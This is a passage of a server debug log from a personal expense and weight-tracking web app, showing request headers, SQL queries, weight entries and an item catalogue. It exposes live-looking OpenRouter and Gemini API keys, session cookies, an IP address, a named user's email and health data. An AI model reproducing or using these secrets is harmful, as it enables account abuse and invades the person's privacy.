    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-22T03:50:59.443Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-22T03:50:59.443Z server-connect:app Executing action step identify
2025-12-22T03:50:59.443Z server-connect:app options: { provider: 'security' }
2025-12-22T03:50:59.443Z server-connect:output identity: 1
2025-12-22T03:50:59.444Z server-connect:app Executing action step restrict
2025-12-22T03:50:59.444Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:50:59.444Z server-connect:output restrict: undefined
2025-12-22T03:50:59.444Z server-connect:app Executing action step custom
2025-12-22T03:50:59.444Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-22T03:50:59.446Z server-connect:output list: [
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-22T03:51:04.728Z server-connect:router Serving serverConnect /api/health/manage-weight
2025-12-22T03:51:04.729Z server-connect:app Executing action step identify
2025-12-22T03:51:04.729Z server-connect:app options: { provider: 'security' }
2025-12-22T03:51:04.729Z server-connect:output identity: 1
2025-12-22T03:51:04.729Z server-connect:app Executing action step restrict
2025-12-22T03:51:04.729Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:51:04.729Z server-connect:output restrict: undefined
2025-12-22T03:51:04.729Z server-connect:app Executing action step insert
2025-12-22T03:51:04.729Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'health_weight_trackor',
    query: 'insert into `health_weight_trackor` (`created_by`, `created_on`, `date`, `weight`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2025-12-22T03:51:04.730Z server-connect:output weight_log: { affected: 1, identity: 18 }
2025-12-22T03:51:04.947Z server-connect:router Serving templateView /weight-trackor
2025-12-22T03:51:04.947Z server-connect:app Executing action step identify
2025-12-22T03:51:04.948Z server-connect:app options: { provider: 'security' }
2025-12-22T03:51:04.948Z server-connect:output identity: 1
2025-12-22T03:51:04.948Z server-connect:app Executing action step restrict
2025-12-22T03:51:04.948Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T03:51:04.948Z server-connect:output restrict: undefined
2025-12-22T03:51:04.948Z server-connect:router Render template layouts/main
2025-12-22T03:51:04.948Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/weight-trackor'
}
2025-12-22T03:51:04.953Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-22T03:51:04.953Z server-connect:app Executing action step identify
2025-12-22T03:51:04.953Z server-connect:app options: { provider: 'security' }
2025-12-22T03:51:04.953Z server-connect:output identity: 1
2025-12-22T03:51:04.953Z server-connect:app Executing action step restrict
2025-12-22T03:51:04.954Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:51:04.954Z server-connect:output restrict: undefined
2025-12-22T03:51:04.954Z server-connect:app Executing action step custom
2025-12-22T03:51:04.954Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-22T03:51:04.955Z server-connect:output list: [
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-22T03:51:05.163Z server-connect:app Executing action step identify
2025-12-22T03:51:05.163Z server-connect:app options: { provider: 'security' }
2025-12-22T03:51:05.163Z server-connect:output identity: 1
2025-12-22T03:51:05.593Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-22T03:51:05.594Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T03:51:05.594Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T03:51:05.595Z server-connect:app Executing action step identify
2025-12-22T03:51:05.595Z server-connect:app options: { provider: 'security' }
2025-12-22T03:51:05.595Z server-connect:output identity: 1
2025-12-22T03:51:05.595Z server-connect:app Executing action step restrict
2025-12-22T03:51:05.596Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:51:05.596Z server-connect:app Executing action step identify
2025-12-22T03:51:05.596Z server-connect:app options: { provider: 'security' }
2025-12-22T03:51:05.596Z server-connect:output identity: 1
2025-12-22T03:51:05.596Z server-connect:app Executing action step restrict
2025-12-22T03:51:05.596Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:51:05.597Z server-connect:output restrict: undefined
2025-12-22T03:51:05.597Z server-connect:app Executing action step custom
2025-12-22T03:51:05.597Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-22T03:51:05.597Z server-connect:app Executing action step identify
2025-12-22T03:51:05.597Z server-connect:app options: { provider: 'security' }
2025-12-22T03:51:05.598Z server-connect:output identity: 1
2025-12-22T03:51:05.598Z server-connect:app Executing action step restrict
2025-12-22T03:51:05.598Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:51:05.599Z server-connect:output restrict: undefined
2025-12-22T03:51:05.600Z server-connect:app Executing action step select
2025-12-22T03:51:05.600Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T03:51:05.600Z server-connect:output list: [
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-22T03:51:05.601Z server-connect:output restrict: undefined
2025-12-22T03:51:05.601Z server-connect:app Executing action step single
2025-12-22T03:51:05.601Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T03:51:05.604Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T03:51:05.607Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T04:20:49.007Z server-connect:router Serving templateView /
2025-12-22T04:20:49.019Z server-connect:app Executing action step identify
2025-12-22T04:20:49.020Z server-connect:app options: { provider: 'security' }
2025-12-22T04:20:49.020Z server-connect:output identity: 1
2025-12-22T04:20:49.020Z server-connect:app Executing action step restrict
2025-12-22T04:20:49.020Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T04:20:49.022Z server-connect:output restrict: undefined
2025-12-22T04:20:49.022Z server-connect:app Executing action step restrict
2025-12-22T04:20:49.022Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T04:20:49.023Z server-connect:output restrict: undefined
2025-12-22T04:20:49.023Z server-connect:router Render template layouts/main
2025-12-22T04:20:49.023Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
